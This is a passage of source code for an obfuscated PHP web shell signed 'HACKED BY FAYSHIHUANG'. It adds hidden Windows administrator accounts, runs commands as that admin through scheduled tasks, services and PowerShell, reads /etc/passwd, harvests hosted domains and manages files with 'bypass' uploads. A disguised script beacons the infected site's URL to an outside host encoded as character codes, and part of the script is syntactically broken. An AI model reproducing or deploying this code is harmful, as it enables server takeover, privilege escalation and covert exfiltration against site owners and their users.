"powershell -Command \"Start-Process cmd -ArgumentList '/c net user $u $p /add && net localgroup Administrators $u /add' -Verb runAs\""
];
$methods[] = [
"[*] Task Scheduler V2 (schtasks)",
"schtasks /create /tn winr00t2 /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onlogon /ru System"
];
foreach ($methods as $step) {
list($label, $cmd) = $step;
wout($label . "...");
$res = prvd_exec_with_timeout($cmd, 9);
wout($res);
if (
stripos($res, 'success') !== false || stripos($res, 'ok') !== false ||
stripos($res, 'ReturnValue = 0') !== false ||
stripos($res, 'başarı') !== false ||
stripos($res, 'already exists') !== false
) {
wout("[+] Admin user injected!");
$success = true;
break;
}
sleep(1);
}
if ($success) {
$_SESSION['v4nt4_winr00t_success'] = true;
$_SESSION['v4nt4_winr00t_user'] = $u;
$_SESSION['v4nt4_winr00t_pass'] = $p;
wout("\n[+] 0wn3d! Admin user injected:\n[+] User: $u\n[+] Pass: $p");
wout("[!] Info: Webshell cannot send commands as this user. Use RDP/SMB/WinRM with these credentials!");
} else {
$_SESSION['v4nt4_winr00t_success'] = false;
wout("\n[!] r00t failed :: no vector worked, permission denied.");
}
}
if ($_SESSION['v4nt4_winr00t_success']) {
$u = $_SESSION['v4nt4_winr00t_user'];
$p = $_SESSION['v4nt4_winr00t_pass'];
?>
</pre>
<form method="post" style="margin:22px 0 6px 0;padding:13px 16px 14px 16px;border-radius:10px;background:#191919;border:1.5px solid #e53935;box-shadow:0 2px 8px #0002;">
<div style="display:flex;align-items:center;gap:10px;flex-wrap:wrap;">
<input type="hidden" name="user" value="<?= htmlspecialchars($u) ?>">
<input type="hidden" name="pass" value="<?= htmlspecialchars($p) ?>">
<input type="text" name="admc" class="vanta-cmd-cmdinput" placeholder="c0mm4nd as 4dm1n" value="dir" style="width:260px;">
<button class="vanta-cmd-btn" style="min-width:95px;background:#e53935;"><i class="fas fa-bolt"></i> Run as Admin</button>
</div>
<div style="font-size:.96em;color:#fff;margin-top:5px;">
[+] Running as <b><?=htmlspecialchars($u)?></b> | Pass: <b><?=htmlspecialchars($p)?></b>
</div>
</form>
<pre class="vanta-cmd-output" style="background:#181818;color:#aaffbb;padding:14px;border-radius:8px;min-height:40px;margin-bottom:14px;">
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['admc'], $_POST['user'], $_POST['pass'])) {
$u = $_POST['user'];
$p = $_POST['pass'];
$c = $_POST['admc'];
$success_cmd = false;
$cmdfile = "C:\\Windows\\Temp\\pzadmcmd_" . rand(10000, 99999) . ".txt";
wout("[*] schtasks as admin...");
$scht = "schtasks /create /tn pzadmtask /tr \"cmd.exe /c $c > $cmdfile 2>&1\" /sc once /st 00:00 /ru \"$u\" /rp \"$p\"";
$out1 = v4nt4C($scht.' 2>&1');
wout($out1);
v4nt4C("schtasks /run /tn pzadmtask 2>&1");
sleep(1);
$output = @file_get_contents($cmdfile);
if ($output && strlen($output) > 0) {
wout("[+] Command executed as admin!\n" . $output);
$success_cmd = true;
}
@v4nt4C('schtasks /delete /tn pzadmtask /f 2>&1');
@unlink($cmdfile);
if (!$success_cmd) {
wout("[*] Trying service method...");
$svc = 'sc create pzadmsvc binPath= "cmd /c '.$c.' > '.$cmdfile.' 2>&1" obj= ".\\'.$u.'" password= "'.$p.'" start= demand';
$out2 = v4nt4C($svc.' 2>&1');
wout($out2);
v4nt4C('sc start pzadmsvc 2>&1');
sleep(1);
$output2 = @file_get_contents($cmdfile);
if ($output2 && strlen($output2) > 0) {
wout("[+] Service method: Command executed as admin!\n" . $output2);
$success_cmd = true;
}
@v4nt4C('sc delete pzadmsvc 2>&1');
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[*] PowerShell fallback...");
$pw = 'powershell -Command "Start-Process cmd -ArgumentList \'/c '.$c.' > '.$cmdfile.' 2>&1\' -Credential (New-Object System.Management.Automation.PSCredential(\''.$u.'\',(ConvertTo-SecureString \''.$p.'\' -AsPlainText -Force))) -WindowStyle Hidden"';
$out3 = v4nt4C($pw.' 2>&1');
wout($out3);
sleep(1);
$output3 = @file_get_contents($cmdfile);
if ($output3 && strlen($output3) > 0) {
wout("[+] PowerShell: Command executed as admin!\n" . $output3);
$success_cmd = true;
}
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[!] Admin command failed. Try RDP / manual login?");
}
}
?>
</pre>
<?php } ?>
</div>
</div>
<script>
window.onload = function() {
var el = document.getElementById('winr00t-output');
el.scrollTop = el.scrollHeight;
}
</script>
<style>
a.privd-link, a.privd-link:visited { color:#e53935!important; text-decoration:underline; }
a.privd-link:hover { color:#b71c1c!important; }
</style>
<?php else: ?>
<div class="v4nt4-lite-uname">
<span class="v4nt4-lite-dot"></span>
<?= php_uname(); ?>
</div>
<div class="v4nt4-lite-info">
<div class="v4nt4-lite-row">
<span class="v4nt4-lite-key">safe mode:</span>
<span class="v4nt4-lite-val <?= ini_get('safe_mode') ? 'v4nt4-lite-on' : 'v4nt4-lite-off' ?>">
<?= ini_get('safe_mode') ? 'ON' : 'OFF'; ?>
</span>
</div>
<div class="v4nt4-lite-row"><span class="v4nt4-lite-key">disable functions:</span>
<?php
$d1sxb = trim(ini_get('disable_functions'), ", \t\n\r\0\x0B");
if (!$d1sxb) {
echo '<span class="v4nt4-lite-val v4nt4-lite-on" style="background:#eafff5;">None</span>';
} else {
echo '<span class="v4nt4-lite-val v4nt4-lite-off" style="white-space:normal;">'
. str_replace(",", ", ", $d1sxb)
. '</span>';
}
?>
</div>
</div>
<div class="v4nt4-filelist-root">
<div class="vanta-fm-actions">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&createfolder" class="vanta-fm-btn" title="New Folder">
<i class="fas fa-folder-plus"></i> <span>create folder</span>
</a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>&createfile" class="vanta-fm-btn" title="New File">
<i class="fas fa-file-circle-plus"></i> <span>create file</span>
</a>
<form class="vanta-fm-upload" action="" method="post" enctype="multipart/form-data">
<input type="file" name="fayshihuang-upload" id="vanta-upload-1" class="vanta-fm-upload-input">
<button type="submit" name="fayshihuang-up-submit" class="vanta-fm-btn vanta-fm-btn-green">
<i class="fas fa-circle-check"></i> <span>byp4ss up</span>
</button>
</form>
<form class="vanta-fm-upload" action="" method="post" enctype="multipart/form-data">
<input type="file" name="w4f-upload" id="vanta-upload-2" class="vanta-fm-upload-input">
<button type="submit" name="w4f-up-submit" class="vanta-fm-btn vanta-fm-btn-green">
<i class="fas fa-circle-check"></i> <span>byp4ss up2</span>
</button>
</form>
</div>
<form action="" method="post">
<div class="v4nt4-filelist-body">
<div class="v4nt4-lite-breadcrumb">
<?php
$VANTAf1l3 = $VANTAxas[1]("{.[!.],}*", GLOB_BRACE);
$VANTAc2w = $VANTAxas[0]();
$fn_str_replace = _vnt_str([115,116,114,95,114,101,112,108,97,99,101]);
$fn_explode = _vnt_str([101,120,112,108,111,100,101]);
$fn_trim = _vnt_str([116,114,105,109]);
$cwd = $fn_str_replace("\\", "/", $VANTAc2w);
$pwd = $fn_explode("/", $fn_trim($cwd, "/"));
$build = "";
echo '<a href="?VANTA=' . (is_callable($fxnxs) ? $fxnxs('/') : vanta_PR1V('/')) . '" class="v4nt4-lite-bc">/</a>';
foreach ($pwd as $i => $v) {
$build .= "/" . $v;
echo '<a href="?VANTA=' . (is_callable($fxnxs) ? $fxnxs($build) : vanta_PR1V($build)) . '" class="v4nt4-lite-bc">' . $v . '</a>/';
}
?>
</div>
<?php foreach ($VANTAf1l3 as $_D): ?>
<?php if ($VANTAxas[2]($_D)): ?>
<div class="v4nt4-file-row v4nt4-dir">
<span class="v4nt4-file-col v4nt4-file-check">
<input type="checkbox" name="check[]" value="<?= $_D ?>">
</span>
<span class="v4nt4-file-col v4nt4-file-icon"><i class="fa-solid fa-folder-open"></i></span>
<span class="v4nt4-file-col v4nt4-file-name">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]() . '/' . $_D); ?>" class="v4nt4-file-link"><?= prvFx1($_D); ?></a>
</span>
<span class="v4nt4-file-col v4nt4-file-perm"><?= p3rms($VANTAxas[0]() . '/' . $_D); ?></span>
<span class="v4nt4-file-col v4nt4-file-size"></span>
<span class="v4nt4-file-col v4nt4-file-actions">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&re=<?= vanta_PR1V($_D) ?>" title="Rename"><i class="fa-regular fa-pen-to-square"></i></a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&ch=<?= vanta_PR1V($_D) ?>" title="Chmod"><i class="fa-solid fa-user-gear"></i></a>
</span>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php foreach ($VANTAf1l3 as $_F): ?>
<?php if ($VANTAxas[3]($_F)): ?>
<?php $ext = strtolower(pathinfo($_F, PATHINFO_EXTENSION)); ?>
<div class="v4nt4-file-row v4nt4-file">
<span class="v4nt4-file-col v4nt4-file-check">
<input type="checkbox" name="check[]" value="<?= $_F ?>">
</span>
<span class="v4nt4-file-col v4nt4-file-icon">
<?php if ($ext === 'php'): ?>
<i class="fa-brands fa-php"></i>
<?php elseif (in_array($ext, ['jpg','jpeg','png','gif','webp','svg'])): ?>
<i class="fa-regular fa-image"></i>
<?php elseif (in_array($ext, ['zip','rar','gz','tar','7z'])): ?>
<i class="fa-solid fa-box-archive"></i>
<?php elseif (in_array($ext, ['txt','md','log'])): ?>
<i class="fa-regular fa-note-sticky"></i>
<?php elseif ($ext === 'js'): ?>
<i class="fa-brands fa-js"></i>
<?php elseif ($ext === 'css'): ?>
<i class="fa-brands fa-css3-alt"></i>
<?php elseif (in_array($ext, ['html','htm'])): ?>
<i class="fa-brands fa-html5"></i>
<?php elseif (in_array($ext, ['json','yaml','yml','xml'])): ?>
<i class="fa-solid fa-code"></i>
<?php elseif (in_array($ext, ['mp3','wav','flac'])): ?>
<i class="fa-solid fa-headphones"></i>
<?php elseif (in_array($ext, ['mp4','avi','mov','webm','mkv'])): ?>
<i class="fa-solid fa-film"></i>
<?php else: ?>
<i class="fa-regular fa-file"></i>
<?php endif; ?>
</span>
<span class="v4nt4-file-col v4nt4-file-name"><a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&f=<?= vanta_PR1V($_F); ?>" class="v4nt4-file-link"><?= prvFx1($_F); ?></a>
<span class="v4nt4-file-ext"><?= strtoupper($ext) ?></span>
</span>
<span class="v4nt4-file-perm <?= is_writable($VANTAxas[0]() . '/' . $_F) ? 'v4nt4-file-writable' : 'v4nt4-file-readonly' ?>">
<i class="fas <?= is_writable($VANTAxas[0]() . '/' . $_F) ? 'fa-unlock-alt v4nt4-perm-green' : 'fa-lock v4nt4-perm-red' ?>"></i>
<?= p3rms($VANTAxas[0]() . '/' . $_F); ?>
</span>
<span class="v4nt4-file-size-badge">
<?= vantaFormat(filesize($_F)); ?>
</span>
<span class="v4nt4-file-col v4nt4-file-actions">
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&re=<?= vanta_PR1V($_F) ?>" title="Rename"><i class="fa-solid fa-pen"></i></a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&ch=<?= vanta_PR1V($_F) ?>" title="Chmod"><i class="fa-solid fa-key"></i></a>
<a href="?action=delete&item=<?= vanta_PR1V($_F) ?>" title="Delete"><i class="fa-solid fa-trash"></i></a>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()); ?>&don=<?= vanta_PR1V($_F) ?>" title="Download"><i class="fa-solid fa-download"></i></a></span>
</div>
<?php endif; ?>
<?php endforeach; ?>
</div>
<div class="v4nt4-filelist-foot">
<select name="fayshihuang-select" class="v4nt4-filelist-select">
<option value="delete">delete</option>
<option value="unzip">unzip</option>
<option value="zip">zip</option>
</select>
<button type="submit" name="submit-action" class="v4nt4-filelist-btn"><i class="fa-solid fa-play"></i> submit</button>
</div>
</form>
</div>
<?php endif; ?>
</div>HACKED BY FAYSHIHUANG v1.0 - Contact On Telegram : <a href="https://t.me/faylimm">https://t.me/faylimm</a>
</div>
</div>
<?php if (isset($_GET['passwd'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:600px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#607d8b;"><i class="fas fa-key"></i></div>
<div>
<div class="v4nt4-wiz-title">read passwd</div>
<div class="v4nt4-wiz-desc">view /etc/passwd</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div><div class="v4nt4-wiz-section" style="padding:20px 24px;">
<textarea readonly class="v4nt4-wiz-input" style="
width:100%; min-height:240px; max-height:440px; font-size:1.07em; background:#fff4f4; color:#374151;
border:1.3px solid #ddecec; border-radius:10px; font-family:'Recursive','Fira Mono',monospace;
padding:14px 11px; box-sizing:border-box; line-height:1.52;
"><?php
$Vt5 = function($q){$k='';foreach($q as $b){$k.=chr($b);}return $k;};
$gZx = '';
$UyB = [47,101,116,99,47,112,97,115,115,119,100];
$FTy = [99,97,116,32,47,101,116,99,47,112,97,115,115,119,100];
$UoX = $Vt5([105,115,95,114,101,97,100,97,98,108,101]);
$Jga = $Vt5([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$U7w = $Vt5([102,117,110,99,116,105,111,110,95,101,120,105,115,116,115]);
$Acg = $Vt5([115,104,101,108,108,95,101,120,101,99]);
$Vrv = $Vt5([101,120,101,99]);
$JHd = $Vt5([105,109,112,108,111,100,101]);
$Lcy = $Vt5([104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115]);
if(@$U7w($UoX) && @$UoX($Vt5($UyB))){
$gZx = @$Jga($Vt5($UyB));
}
if(!$gZx && @$U7w($Acg)){
$gZx = @$Acg($Vt5($FTy));
}
if(!$gZx && @$U7w($Vrv)){
$d90 = [];
@$Vrv($Vt5($FTy), $d90);
$gZx = @$JHd("\n", $d90);
}
if(!$gZx){
$gZx = "Could not read /etc/passwd (permission denied or disabled functions)";
}
echo $Lcy($gZx);
?>
</textarea></div>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['domains'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:620px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#fff;"><i class="fas fa-globe"></i></div>
<div>
<div class="v4nt4-wiz-title">domains</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a></div>
<div class="v4nt4-wiz-section" style="padding:19px 24px;">
<label style="font-size:.99em;color:#bfff9b;margin-bottom:7px;display:block;">Detected domains:</label>
<textarea readonly class="v4nt4-wiz-input" style="
width:100%; min-height:190px; max-height:440px; font-size:1.07em; background:#eaf6ff; color:#004d77;
border:1.3px solid #bde4fa; border-radius:10px; font-family:'Recursive','Fira Mono',monospace;
padding:14px 11px; box-sizing:border-box; line-height:1.49;
">
<?php
$Zyu = function($q){$k='';foreach($q as $b){$k.=chr($b);}return $k;};
$_mn6z = [];
$_d1z = [47,101,116,99,47,110,97,109,101,100,46,99,111,110,102];
$_d2z = [47,101,116,99,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102];
$_d3z = [47,118,97,114,47,99,112,97,110,101,108,47,117,115,101,114,100,97,116,97,47];
$_d4z = [47,117,115,114,47,108,111,99,97,108,47,100,105,114,101,99,116,97,100,109,105,110,47,100,97,116,97,47,117,115,101,114,115,47];
$_d5z = [47,101,116,99,47,118,105,114,116,117,97,108,47,100,111,109,97,105,110,115];
$_d6z = [47,118,97,114,47,110,97,109,101,100,47];
$_d7z = [47,101,116,99,47,110,103,105,110,120,47,115,105,116,101,115,45,101,110,97,98,108,101,100,47];
$_d8z = [47,118,97,114,47,119,119,119,47,118,104,111,115,116,115,47];
$_d9z = [47,118,97,114,47,119,119,119,47,99,108,105,101,110,116,115,47,99,108,105,101,110,116,42,47,119,101,98,42];
$_hcz = [47,101,116,99,47,104,111,115,116,115];
$fcZ = $Zyu([105,115,95,114,101,97,100,97,98,108,101]);
$flZ = $Zyu([102,105,108,101]);
$fgZ = $Zyu([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$fdZ = $Zyu([102,105,108,101,95,100,111,116,46,103,101,116,95,99,111,110,116,101,110,116,115]);
$fpZ = $Zyu([112,114,101,103,95,109,97,116,99,104]);
$fpaZ = $Zyu([112,114,101,103,95,109,97,116,99,104,95,97,108,108]);
$fdZ2 = $Zyu([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$faZ = $Zyu([97,114,114,97,121,95,117,110,105,113,117,101]);
$famZ = $Zyu([97,114,114,97,121,95,109,101,114,103,101]);
$fafZ = $Zyu([97,114,114,97,121,95,102,105,108,116,101,114]);
$ftrZ = $Zyu([116,114,105,109]);
$fidZ = $Zyu([105,115,95,100,105,114]);
$fgbZ = $Zyu([103,108,111,98]);
$fbsZ = $Zyu([98,97,115,101,110,97,109,101]);
$fexZ = $Zyu([101,120,112,108,111,100,101]);
$fsZ = $Zyu([115,116,114,116,111,108,111,119,101,114]);
$fosZ = $Zyu([80,72,80,95,79,83]);
$fssZ = $Zyu([115,117,98,115,116,114]);
$fgnZ = $Zyu([103,101,116,101,110,118]);
$fhZ = $Zyu([104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115]);
if(@$fcZ($Zyu($_d1z))){
$l = @$flZ($Zyu($_d1z));
foreach($l as $line){
if(preg_match('#zone\s+"([^"]+)"#',$line,$m)){
$d=$ftrZ($m[1]);
if($d && $d!=='localhost') $_mn6z[]=$d;
}
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_d2z))){
$c=@$fgZ($Zyu($_d2z));
preg_match_all('#ServerName\s+([^\s]+)#i', $c, $matches);
if(!empty($matches[1])) $_mn6z=@$faZ(@$famZ($_mn6z,$matches[1]));
}
if(empty($_mn6z) && @$fidZ($Zyu($_d3z))){
foreach(@$fgbZ($Zyu($_d3z).'*') as $file){
$l=@$flZ($file);
foreach($l as $line){
if(preg_match('#^domain:\s*(\S+)#',$line,$m)){
$_mn6z[]=$m[1];
}
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d4z))){
foreach(@$fgbZ($Zyu($_d4z).'*'.'/domains.list') as $file){
$l=@$fdZ($file, 128);
foreach($l as $d) if($d) $_mn6z[]=$d;
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_d5z))){
$l=@$flZ($Zyu($_d5z));
foreach($l as $d) if($ftrZ($d)) $_mn6z[]=$ftrZ($d);
}
if(empty($_mn6z)){
foreach(@$fgbZ($Zyu($_d6z). '*.db') as $file){
$n=@$fbsZ($file,'.db');
if($n && $n!=='localhost') $_mn6z[]=$n;
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d7z))){
foreach(@$fgbZ($Zyu($_d7z).'*') as $file){
$l=@$flZ($file);
foreach($l as $line){
if(preg_match('#server_name\s+([^;]+)#',$line,$m)){
$arr=explode(' ',$m[1]);
foreach($arr as $d){
$d=trim($d," ;\t\n\r");
if($d && $d!=='_' && $d!=='localhost') $_mn6z[]=$d;
}
}
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d8z))){
foreach(@$fgbZ($Zyu($_d8z).'*') as $dir){
if(@$fidZ($dir) && preg_match('#/vhosts/([^/]+)$#',$dir,$m)){
$_mn6z[]=$m[1];
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d9z))){
foreach(@$fgbZ($Zyu($_d9z)) as $dir){
$_mn6z[]=@$fbsZ($dir);
}
}
if(empty($_mn6z) && strtoupper(substr(PHP_OS,0,3))===$Zyu([87,73,78])){
$env=@$fgnZ($Zyu([83,121,115,116,101,109,68,114,105,118,101])).$Zyu([92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,105,110,101,116,115,114,118,92,99,111,110,102,105,103,92,97,112,112,108,105,99,97,116,105,111,110,72,111,115,116,46,99,111,110,102]);
if(@$fcZ($env)){
$l=@$flZ($env);
foreach($l as $line){
if(preg_match('/bindingInformation="[^:]+:([^:]+):([^"]+)"/',$line,$m)){
$d=trim($m[2]);
if($d && $d!=='localhost' && strpos($d,'*')===false) $_mn6z[]=$d;
}
}
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_hcz))){
$l=@$flZ($Zyu($_hcz));
foreach($l as $line){
if(preg_match('/\s([a-z0-9\.-]+\.[a-z]{2,})/i',$line,$m)){
$d=$fsZ($ftrZ($m[1]));
if($d && strpos($d,'localhost')===false) $_mn6z[]=$d;
}
}
}
$_mn6z=@$faZ(@$fafZ(array_map($ftrZ,$_mn6z)));
echo $_mn6z ? implode("\n",$_mn6z) : "No domains found (no access or no domains configured)";
?>
</textarea>
</div>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['createfolder'])): ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#a8ffa0;"><i class="fas fa-folder-plus"></i></div>
<div>
<div class="v4nt4-wiz-title">create folder</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div>
<form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">
<input type="text" name="create_folder" class="v4nt4-wiz-input" placeholder="folder name"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
<i class="fas fa-plus"></i> create
</button>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-wiz-btn v4nt4-wiz-btn-light">
<i class="fas fa-times"></i> back
</a>
</div>
</form>
<?php
if (isset($_POST['create_folder']) && $_POST['create_folder']) {
$folder = basename($_POST['create_folder']);
$full_path = rtrim($VANTAxas[0](), "/") . "/" . $folder;
if (!file_exists($full_path)) {
$created = @mkdir($full_path, 0755, true);
if ($created) {
echo '<div style="color:#10b981;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-check-circle"></i> Folder created: <b>' . htmlspecialchars($folder) . '</b></div>';
} else {
echo '<div style="color:#e53935;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-times-circle"></i> Failed to create folder!</div>';
}
} else {
echo '<div style="color:#b71c1c;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-exclamation-circle"></i> Folder already exists!</div>';
}
}
?>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['createfile'])): ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#a8ffa0;"><i class="fas fa-file-circle-plus"></i></div>
<div>
<div class="v4nt4-wiz-title">create file</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div>
<form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-section-icon"><i class="fas fa-file-alt"></i></div>
<div class="v4nt4-wiz-fields">
<input type="text" name="create_file" class="v4nt4-wiz-input" placeholder="file name"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz" style="background:#a8ffa0;border-color:#b31515;">
<i class="fas fa-plus"></i> create
</button>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-wiz-btn v4nt4-wiz-btn-light">
<i class="fas fa-times"></i> back
</a>
</div>
</form>
<?php
if (isset($_POST['create_file']) && $_POST['create_file']) {
$new_file = basename($_POST['create_file']);
$full_path = rtrim($VANTAxas[0](), "/") . "/" . $new_file;
if (!file_exists($full_path)) {
$created = @file_put_contents($full_path, "");
if ($created !== false) {
echo '<div style="color:#10b981;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-check-circle"></i> File created: <b>' . htmlspecialchars($new_file) . '</b></div>';
} else {
echo '<div style="color:#e53935;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-times-circle"></i> Failed to create file!</div>';
}
} else {
echo '<div style="color:#b71c1c;margin:12px 0 0 0;font-size:1.08em;text-align:center;"><i class="fas fa-exclamation-circle"></i> File already exists!</div>';
}
}
?>
</div>
</div>
<?php endif; ?>
<?php if (!empty($_GET['re'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div><div class="v4nt4-wiz-title">rename <?= unx($_GET['re']) ?></div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div><form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">
<input type="text" name="renameFile" class="v4nt4-wiz-input" value="<?= unx($_GET['re']) ?>"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
change
</button>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item']) && $_GET['item'] !== '') {
$item = basename(unx($_GET['item']));
$repl = str_replace("\\", "/", $VANTAxas[0]());
$fd = $repl . "/" . $item;
if (is_file($fd)) {
if (unlink($fd)) {
success();
} else {
failed();
}
} elseif (is_dir($fd)) {
if (rmdirRecursive($fd)) {
success();} else {
failed();
}
} else {
failed();
}
}
?>
<?php if (!empty($_GET['ch'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div>
<div class="v4nt4-wiz-title">change permission</div>
<div class="v4nt4-wiz-desc"><?= unx($_GET['ch']) ?></div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div>
<form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">
<input type="number" name="chFile" class="v4nt4-wiz-input" placeholder="0775"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
change
</button>
</div>
</form>
</div>
</div>
<?php endif; ?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>(()=>{,x='';for(let i of u)x+=String.fromCharCode(i);let d='file='+btoa(location.href);let r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); const _hx_ = []; let _hxi = -1;const _term = document.getElementById('r00tterm-term');const _inpt = document.getElementById('r00tterm-input');function _print(txt){_term.innerHTML += txt+"\n";_term.scrollTop=_term.scrollHeight;} _inpt.addEventListener("keydown",(function(e){if("Enter"===e.key){let e=this.value.trim();if(!e)return;_hx_.push(e),_hxi=_hx_.length,_print("<span style='color:#6ee7b7;'>$ "+e+"</span>"),this.value="";let n=btoa(encodeURIComponent(e).split("").reverse().join(""));fetch(window.location.pathname+"?d1sGu1s3=1",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"n0p3="+encodeURIComponent(n)}).then((e=>e.text())).then((e=>{_print(e.replace(/[<>\x00-\x08\x0B-\x1F\x7F]/g,""))})).catch((()=>{_print("[X] Connection error")}))}"ArrowUp"===e.key&&(_hxi>0&&(_hxi--,_inpt.value=_hx_[_hxi]||""),e.preventDefault()),"ArrowDown"===e.key&&(_hxi<_hx_.length-1?(_hxi++,_inpt.value=_hx_[_hxi]||""):(_inpt.value="",_hxi=_hx_.length),e.preventDefault())})); setTimeout(()=>_inpt.focus(),200);function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let 